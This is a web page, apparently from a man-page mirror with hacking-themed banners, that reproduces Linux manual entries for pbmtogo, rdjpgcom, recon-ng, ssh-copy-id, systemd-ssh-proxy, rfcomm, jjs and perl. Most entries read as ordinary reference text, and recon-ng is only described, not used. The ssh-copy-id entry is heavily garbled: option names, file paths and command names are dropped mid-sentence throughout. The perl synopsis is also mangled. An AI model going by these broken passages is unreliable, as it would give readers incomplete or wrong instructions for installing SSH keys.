               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1855 - Linux cli command pbmtogo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtogo and provides detailed information about the command pbmtogo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtogo.

.

NAME 🖥️ pbmtogo 🖥️

convert a PBM image into compressed GraphOn graphics

SYNOPSIS

pbmtogo [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtogo reads a PBM image as input and produces 2D compressed GraphOn graphics as output.

Be sure to set up your GraphOn with the following modes: 8 bits / no parity; obeys no XON/XOFF; NULs are accepted. These are all on the Comm menu. Also, remember to turn off tty post processing. Note that there is no gotopbm tool.

OPTIONS

There are no command line options defined specifically for pbmtogo, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbm(1)

AUTHOR

Copyright (C) 1988, 1989 by Jef Poskanzer, Michael Haberler, and Bo Thide'.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtogo.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1856 - Linux cli command rdjpgcom

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rdjpgcom and provides detailed information about the command rdjpgcom, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rdjpgcom.

NAME 🖥️ rdjpgcom 🖥️

display text comments from a JPEG file

SYNOPSIS

rdjpgcom [ -raw ] [ -verbose ] [ filename ]

DESCRIPTION

rdjpgcom reads the named JPEG/JFIF file, or the standard input if no file is named, and prints any text comments found in the file on the standard output.

The JPEG standard allows “comment” (COM) blocks to occur within a JPEG file. Although the standard doesn’t actually define what COM blocks are for, they are widely used to hold user-supplied text strings. This lets you add annotations, titles, index terms, etc to your JPEG files, and later retrieve them as text. COM blocks do not interfere with the image stored in the JPEG file. The maximum size of a COM block is 64K, but you can have as many of them as you like in one JPEG file.

OPTIONS

-raw
Normally rdjpgcom escapes non-printable characters in comments, for security reasons. This option avoids that.

-verbose Causes rdjpgcom to also display the JPEG image dimensions.

Switch names may be abbreviated, and are not case sensitive.

HINTS

rdjpgcom does not depend on the IJG JPEG library. Its source code is intended as an illustration of the minimum amount of code required to parse a JPEG file header correctly.

In -verbose mode, rdjpgcom will also attempt to print the contents of any “APP12” markers as text. Some digital cameras produce APP12 markers containing useful textual information. If you like, you can modify the source code to print other APPn marker types as well.

SEE ALSO

cjpeg(1), djpeg(1), jpegtran(1), wrjpgcom(1)

AUTHOR

Independent JPEG Group

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1857 - Linux cli command recon-ng

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command recon-ng and provides detailed information about the command recon-ng, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the recon-ng.

NAME 🖥️ recon-ng 🖥️

ng - Web Reconnaissance framework

SYNOPSIS

recon-ng [-h] [-w workspace] [-r filename] [–no-version] [–no-analytics] [–no-marketplace] [–stealth] [–version] [–analytics]

DESCRIPTION

Recon-ng is a full-featured reconnaissance framework designed with the goal of providing a powerful environment to conduct open source web-based reconnaissance quickly and thoroughly.

Recon-ng has a look and feel similar to the Metasploit Framework, reducing the learning curve for leveraging the framework. However, it is quite different. Recon-ng is not intended to compete with existing frameworks, as it is designed exclusively for web-based open source reconnaissance. If you want to exploit, use the Metasploit Framework. If you want to social engineer, use the Social-Engineer Toolkit.

See the [Usage Guide](https://github.com/lanmaster53/recon-ng/wiki) for more information.

OPTIONS

-h, –help
show this help message and exit

-w workspace
load/create a workspace

-r filename
load commands from a resource file

–no-version
disable version check (by default in Debian)

–no-analytics
disable analytics reporting (by default in Debian)

–no-marketplace
disable remote module management

–stealth
disable all passive requests (–no-*)

-v, –version
displays the current version

–analytics
enable Google analytics reporting

AUTHOR

Tim Tomes (@LaNMaSteR53) tjt1980[at]gmail.com

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1858 - Linux cli command ssh-copy-id

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ssh-copy-id and provides detailed information about the command ssh-copy-id, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ssh-copy-id.

Copyright (c) 1999-2023 hands.com Ltd. <http://hands.com/>

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS’’ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

is a script that uses

to log into a remote machine (presumably using a login password, so password authentication should be enabled, unless you’ve done some clever use of multiple identities). It assembles a list of one or more fingerprints (as described below) and tries to log in with each key, to see if any of them are already installed (of course, if you are not using

this may result in you being repeatedly prompted for pass-phrases). It then assembles a list of those that failed to log in and, using

enables logins with those keys on the remote server. By default it adds the keys by appending them to the remote user’s

(creating the file, and directory, if necessary). It is also capable of detecting if the remote system is a NetScreen, and using its

command instead.

The options are as follows:

Use only the key(s) contained in

(rather than looking for identities via

or in the

If the filename does not end in

this is added. If the filename is omitted, the

is used.

Note that this can be used to ensure that the keys copied have the comment one prefers and/or extra options applied, by ensuring that the key file has these set as preferred before the copy is attempted.

Forced mode: doesn’t check if the keys are present on the remote server. This means that it does not need the private key. Of course, this can result in more than one copy of the key being installed on the remote system.

do a dry-run. Instead of installing keys on the remote system simply prints the key(s) that would have been installed.

SFTP mode: usually the public keys are installed by executing commands on the remote side. With this option the user’s

file will be downloaded, modified locally and uploaded with sftp. This option is useful if the server has restrictions on commands which can be used on the remote side.

the path on the target system where the keys should be added (defaults to “.ssh/authorized_keys”)

These two options are simply passed through untouched, along with their argument, to allow one to set the port or other

options, respectively.

Rather than specifying these as command line options, it is often better to use (per-host) settings in

configuration file:

This option is for debugging the

script itself. It sets the shell’s -x flag, so that you can see the commands being run.

Print Usage summary

Default behaviour without

is to check if

provides any output, and if so those keys are used. Note that this results in the comment on the key being the filename that was given to

when the key was loaded into your

rather than the comment contained in that file, which is a bit of a shame. Otherwise, if

provides no keys contents of the

will be used.

The

is the most recent file that matches:

(excluding those that match

so if you create a key that is not the one you want

to use, just use

on your preferred key’s

file to reinstate it as the most recent.

If you have already installed keys from one system on a lot of remote hosts, and you then create a new key, on a new client machine, say, it can be difficult to keep track of which systems on which you’ve installed the new key. One way of dealing with this is to load both the new key and old key(s) into your

Load the new key first, without the

option, then load one or more old keys into the agent, possibly by ssh-ing to the client machine that has that old key, using the

option to allow agent forwarding:

now, if the new key is installed on the server, you’ll be allowed in unprompted, whereas if you only have the old key(s) enabled, you’ll be asked for confirmation, which is your cue to log back out and run

The reason you might want to specify the

option in this case is to ensure that the comment on the installed key is the one from the

file, rather than just the filename that was loaded into your agent. It also ensures that only the id you intended is installed, rather than all the keys that you have in your

Of course, you can specify another id, or use the contents of the

as you prefer.

Having mentioned

option, you might consider using this whenever using agent forwarding to avoid your key being hijacked, but it is much better to instead use

and

option, to bounce through remote servers while always doing direct end-to-end authentication. This way the middle hop(s) don’t get access to your

A web search for

should prove enlightening (NB the modern approach is to use the

option, rather than

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1859 - Linux cli command systemd-ssh-proxy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-ssh-proxy and provides detailed information about the command systemd-ssh-proxy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-ssh-proxy.

NAME 🖥️ systemd-ssh-proxy 🖥️

ssh-proxy - SSH client plugin for connecting to AF_VSOCK and AF_UNIX sockets

SYNOPSIS

Host unix/* vsock/*
    ProxyCommand /usr/lib/systemd/systemd-ssh-proxy %h %p
    ProxyUseFdpass yes

/usr/lib/systemd/systemd-ssh-proxy [ADDRESS] [PORT]

DESCRIPTION

systemd-ssh-proxy is a small “proxy” plugin for the ssh(1) tool that allows connecting to AF_UNIX and AF_VSOCK sockets. It implements the interface defined by sshs ProxyCommand configuration option. Its supposed to be used with an ssh_config(5) configuration fragment like the following:

Host unix/* vsock/* ProxyCommand /usr/lib/systemd/systemd-ssh-proxy %h %p ProxyUseFdpass yes CheckHostIP no

Host .host
    ProxyCommand /usr/lib/systemd/systemd-ssh-proxy unix/run/ssh-unix-local/socket %p
    ProxyUseFdpass yes
    CheckHostIP no

A configuration fragment along these lines is by default installed into /etc/ssh/ssh_config.d/20-systemd-ssh-proxy.conf.in.

With this in place, SSH connections to host string “unix/” followed by an absolute AF_UNIX file system path to a socket will be directed to the specified socket, which must be of type SOCK_STREAM. Similar, SSH connections to “vsock/” followed by an AF_VSOCK CID will result in an SSH connection made to that CID. Moreover connecting to “.host” will connect to the local host via SSH, without involving networking.

This tool is supposed to be used together with systemd-ssh-generator(8) which when run inside a VM or container will bind SSH to suitable addresses. systemd-ssh-generator is supposed to run in the container of VM guest, and systemd-ssh-proxy is run on the host, in order to connect to the container or VM guest.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

EXAMPLES

Example 1. Talk to a local VM with CID 4711

ssh vsock/4711

Example 2. Talk to the local host via ssh

ssh .host

or equivalent:

ssh unix/run/ssh-unix-local/socket

SEE ALSO

systemd(1), systemd-ssh-generator(8), vsock(7), unix(7), ssh(1), sshd(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1860 - Linux cli command rfcomm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rfcomm and provides detailed information about the command rfcomm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rfcomm.

NAME 🖥️ rfcomm 🖥️

RFCOMM configuration utility

SYNOPSIS

rfcomm [OPTIONS] <COMMAND> <dev>

DESCRIPTION

rfcomm(1) is used to set up, maintain, and inspect the RFCOMM configuration of the Bluetooth subsystem in the Linux kernel. If no command is given, or if the option -a is used, rfcomm prints information about the configured RFCOMM devices.

OPTIONS

-h
Gives a list of possible commands.

-a
Prints information about all configured RFCOMM devices.

-r
Switch TTY into raw mode (doesn’t work with “bind”).

-i <hciX> | <bdaddr>
The command is applied to device hciX, which must be the name or the address of an installed Bluetooth device. If not specified, the command will be use the first available Bluetooth device.

-A
Enable authentication

-E
Enable encryption

-S
Secure connection

-C
Become the central of a piconet

-L* <seconds>*
Set linger timeout

COMMANDS

show <dev>
Display the information about the specified device.

connect <dev> [bdaddr] [channel]
Connect the RFCOMM device to the remote Bluetooth device on the specified channel. If no channel is specified, it will use the channel number 1. This command can be terminated with the key sequence CTRL-C.

listen <dev> [channel] [cmd]
Listen on a specified RFCOMM channel for incoming connections. If no channel is specified, it will use the channel number 1, but a channel must be specified before cmd. If cmd is given, it will be executed as soon as a client connects. When the child process terminates or the client disconnect, the command will terminate. Occurrences of {} in cmd will be replaced by the name of the device used by the connection. This command can be terminated with the key sequence CTRL-C.

watch <dev> [channel] [cmd]
Watch is identical to listen except that when the child process terminates or the client disconnect, the command will restart listening with the same parameters.

bind <dev> [bdaddr] [channel]
This binds the RFCOMM device to a remote Bluetooth device. The command does not establish a connection to the remote device, it only creates the binding. The connection will be established right after an application tries to open the RFCOMM device. If no channel number is specified, it uses the channel number 1.

release <dev>
This command releases a defined RFCOMM binding.

If all is specified for the RFCOMM device, then all bindings will be removed.

RESOURCES

http://www.bluez.org

REPORTING BUGS

[email protected]

AUTHOR

Marcel Holtmann <[email protected]>

COPYRIGHT

Free use of this software is granted under ther terms of the GNU Lesser General Public Licenses (LGPL).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1861 - Linux cli command jjs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jjs and provides detailed information about the command jjs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jjs.

NAME 🖥️ jjs 🖥️

Invokes the Nashorn engine.

SYNOPSIS

jjs [options] [script-files] [– arguments]

options

One or more options of the jjs command, separated by spaces. For more information, see Options.

script-files

One or more script files which you want to interpret using Nashorn, separated by spaces. If no files are specified, an interactive shell is started.

arguments

All values after the double hyphen marker () are passed through to the script or the interactive shell as arguments. These values can be accessed by using the arguments property (see Example 3).

DESCRIPTION

The jjs command-line tool is used to invoke the Nashorn engine. You can use it to interpret one or several script files, or to run an interactive shell.

OPTIONS

The options of the jjs command control the conditions under which scripts are interpreted by Nashorn.

-cp path
-classpath path

Specifies the path to the supporting class files To set multiple paths, the option can be repeated, or you can separate each path with a colon (:).

-Dname=value

Sets a system property to be passed to the script by assigning a value to a property name. The following example shows how to invoke Nashorn in interactive mode and assign myValue to the property named myKey:

jjs -DmyKey=myValue jjs> java.lang.System.getProperty(“myKey”) myValue jjs>

This option can be repeated to set multiple properties.

-doe
–dump-on-error

Provides a full stack trace when an error occurs. By default, only a brief error message is printed.

-fv
–fullversion

Prints the full Nashorn version string.

-fx

Launches the script as a JavaFX application.

-h
-help

Prints the list of options and their descriptions.

–language=[es5]

Specifies the ECMAScript language version. The default version is ES5.

-ot
–optimistic-types=[true|false]

Enables or disables optimistic type assumptions with deoptimizing recompilation. Running with optimistic types will yield higher final speed, but may increase warmup time.

-scripting

Enables shell scripting features.

-strict

Enables strict mode, which enforces stronger adherence to the standard (ECMAScript Edition 5.1), making it easier to detect common coding errors.

-t=zone
-timezone=zone

Sets the specified time zone for script execution. It overrides the time zone set in the OS and used by the Date object.

-v
-version

Prints the Nashorn version string.

EXAMPLES

Example 1 Running a Script with Nashorn

jjs script.js

Example 2 Running Nashorn in Interactive Mode

jjs jjs> println(“Hello, World!”) Hello, World! jjs> quit() »

Example 3 Passing Arguments to Nashorn

jjs – a b c jjs> arguments.join(", “) a, b, c jjs>

SEE ALSO

jrunscript

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1862 - Linux cli command perl5.36-x86_64-linux-gnu

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command perl5.36-x86_64-linux-gnu and provides detailed information about the command perl5.36-x86_64-linux-gnu, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the perl5.36-x86_64-linux-gnu.

NAME 🖥️ perl5.36-x86_64-linux-gnu 🖥️

The Perl 5 language interpreter

SYNOPSIS

perl-sTtuUWX ] [ -hv ] [ -V[:configvar] ] [ -cw ] [ -d[t][:debugger] ] [ -D[number/list] ] [ -pna ] [ -Fpattern ] [ -l[octal] ] [ -0[octal/hexadecimal] ] [ -Idir ] [ -m[-]module ] [ -M[-]‘module…’ ] [ -f ] [ -C [number/list] [ -S ] [ -x[dir] ] [ -i[extension] ] [ [-e|-E‘command’ ] [  ] [ programfile ] [ argument ]…

For more information on these options, you can run perldoc perlrun.

GETTING HELP

The perldoc program gives you access to all the documentation that comes with Perl. You can get more documentation, tutorials and community support online at <https://www.perl.org/>.

If you’re new to Perl, you should start by running perldoc perlintro, which is a general intro for beginners and provides some background to help you navigate the rest of Perl’s extensive documentation. Run perldoc perldoc to learn more things you can do with perldoc.

For ease of access, the Perl manual has been split up into several sections.

Overview

perl Perl overview (this section) perlintro Perl introduction for beginners perlrun Perl execution and options perltoc Perl documentation table of contents

Tutorials

perlreftut Perl references short introduction perldsc Perl data structures intro perllol Perl data structures: arrays of arrays perlrequick Perl regular expressions quick start perlretut Perl regular expressions tutorial perlootut Perl OO tutorial for beginners perlperf Perl Performance and Optimization Techniques perlstyle Perl style guide perlcheat Perl cheat sheet perltrap Perl traps for the unwary perldebtut Perl debugging tutorial perlfaq Perl frequently asked questions perlfaq1 General Questions About Perl perlfaq2 Obtaining and Learning about Perl perlfaq3 Programming Tools perlfaq4 Data Manipulation perlfaq5 Files and Formats perlfaq6 Regexes perlfaq7 Perl Language Issues perlfaq8 System Interaction perlfaq9 Networking

Reference Manual

perlsyn Perl syntax perldata Perl data structures perlop Perl operators and precedence perlsub Perl subroutines perlfunc Perl built-in functions perlopentut Perl open() tutorial perlpacktut Perl pack() and unpack() tutorial perlpod Perl plain old documentation perlpodspec Perl plain old documentation format specification perldocstyle Perl style guide for core docs perlpodstyle Perl POD style guide perldiag Perl diagnostic messages perldeprecation Perl deprecations perllexwarn Perl warnings and their control perldebug Perl debugging perlvar Perl predefined variables perlre Perl regular expressions, the rest of the story perlrebackslash Perl regular expression backslash sequences perlrecharclass Perl regular expression character classes perlreref Perl regular expressions quick reference perlref Perl references, the rest of the story perlform Perl formats perlobj Perl objects perltie Perl objects hidden behind simple variables perldbmfilter Perl DBM filters perlipc Perl interprocess communication perlfork Perl fork() information perlnumber Perl number semantics perlthrtut Perl threads tutorial perlport Perl portability guide perllocale Perl locale support perluniintro Perl Unicode introduction perlunicode Perl Unicode support perlunicook Perl Unicode cookbook perlunifaq Perl Unicode FAQ perluniprops Index of Unicode properties in Perl perlunitut Perl Unicode tutorial perlebcdic Considerations for running Perl on EBCDIC platforms perlsec Perl security perlsecpolicy Perl security report handling policy perlmod Perl modules: how they work perlmodlib Perl modules: how to write and use perlmodstyle Perl modules: how to write modules with style perlmodinstall Perl modules: how to install from CPAN perlnewmod Perl modules: preparing a new module for distribution perlpragma Perl modules: writing a user pragma perlutil utilities packaged with the Perl distribution perlfilter Perl source filters perldtrace Perls support for DTrace perlglossary Perl Glossary

Internals and C Language Interface

perlembed Perl ways to embed perl in your C or C++ application perldebguts Perl debugging guts and tips perlxstut Perl XS tutorial perlxs Perl XS application programming interface perlxstypemap Perl XS C/Perl type conversion tools perlclib Internal replacements for standard C library functions perlguts Perl internal functions for those doing extensions perlcall Perl calling conventions from C perlmroapi Perl method resolution plugin interface perlreapi Perl regular expression plugin interface perlreguts Perl regular expression engine internals perlapi Perl API listing (autogenerated) perlintern Perl internal functions (autogenerated) perliol C API for Perls implementation of IO in Layers perlapio Perl internal IO abstraction interface perlhack Perl hackers guide perlsource Guide to the Perl source tree perlinterp Overview of the Perl interpreter source and how it works perlhacktut Walk through the creation of a simple C code patch perlhacktips Tips for Perl core C code hacking perlpolicy Perl development policies perlgov Perl Rules of Governance perlgit Using git with the Perl repository

History

perlhist Perl history records perldelta Perl changes since previous version perl5341delta Perl changes in version 5.34.1 perl5340delta Perl changes in version 5.34.0 perl5321delta Perl changes in version 5.32.1 perl5320delta Perl changes in version 5.32.0 perl5303delta Perl changes in version 5.30.3 perl5302delta Perl changes in version 5.30.2 perl5301delta Perl changes in version 5.30.1 perl5300delta Perl changes in version 5.30.0 perl5283delta Perl changes in version 5.28.3 perl5282delta Perl changes in version 5.28.2 perl5281delta Perl changes in version 5.28.1 perl5280delta Perl changes in version 5.28.0 perl5263delta Perl changes in version 5.26.3 perl5262delta Perl changes in version 5.26.2 perl5261delta Perl changes in version 5.26.1 perl5260delta Perl changes in version 5.26.0 perl5244delta Perl changes in version 5.24.4 perl5243delta Perl changes in version 5.24.3 perl5242delta Perl changes in version 5.24.2 perl5241delta Perl changes in version 5.24.1 perl5240delta Perl changes in version 5.24.0 perl5224delta Perl changes in version 5.22.4 perl5223delta Perl changes in version 5.22.3 perl5222delta Perl changes in version 5.22.2 perl5221delta Perl changes in version 5.22.1 perl5220delta Perl changes in version 5.22.0 perl5203delta Perl changes in version 5.20.3 perl5202delta Perl changes in version 5.20.2 perl5201delta Perl changes in version 5.20.1 perl5200delta Perl changes in version 5.20.0 perl5184delta Perl changes in version 5.18.4 perl5182delta Perl changes in version 5.18.2 perl5181delta Perl changes in version 5.18.1 perl5180delta Perl changes in version 5.18.0 perl5163delta Perl changes in version 5.16.3 perl5162delta Perl changes in version 5.16.2 perl5161delta Perl changes in version 5.16.1 perl5160delta Perl changes in version 5.16.0 perl5144delta Perl changes in version 5.14.4 perl5143delta Perl changes in version 5.14.3 perl5142delta Perl changes in version 5.14.2 perl5141delta Perl changes in version 5.14.1 perl5140delta Perl changes in version 5.14.0 perl5125delta Perl changes in version 5.12.5 perl5124delta Perl changes in version 5.12.4 perl5123delta Perl changes in version 5.12.3 perl5122delta Perl changes in version 5.12.2 perl5121delta Perl changes in version 5.12.1 perl5120delta Perl changes in version 5.12.0 perl5101delta Perl changes in version 5.10.1 perl5100delta Perl changes in version 5.10.0 perl589delta Perl changes in version 5.8.9 perl588delta Perl changes in version 5.8.8 perl587delta Perl changes in version 5.8.7 perl586delta Perl changes in version 5.8.6 perl585delta Perl changes in version 5.8.5 perl584delta Perl changes in version 5.8.4 perl583delta Perl changes in version 5.8.3 perl582delta Perl changes in version 5.8.2 perl581delta Perl changes in version 5.8.1 perl58delta Perl changes in version 5.8.0 perl561delta Perl changes in version 5.6.1 perl56delta Perl changes in version 5.6 perl5005delta Perl changes in version 5.005 perl5004delta Perl changes in version 5.004

Miscellaneous

perlbook Perl book information perlcommunity Perl community information perldoc Look up Perl documentation in Pod format perlexperiment A listing of experimental features in Perl perlartistic Perl Artistic License perlgpl GNU General Public License

Language-Specific

perlcn Perl for Simplified Chinese (in UTF-8) perljp Perl for Japanese (in EUC-JP) perlko Perl for Korean (in EUC-KR) perltw Perl for Traditional Chinese (in Big5)

Platform-Specific

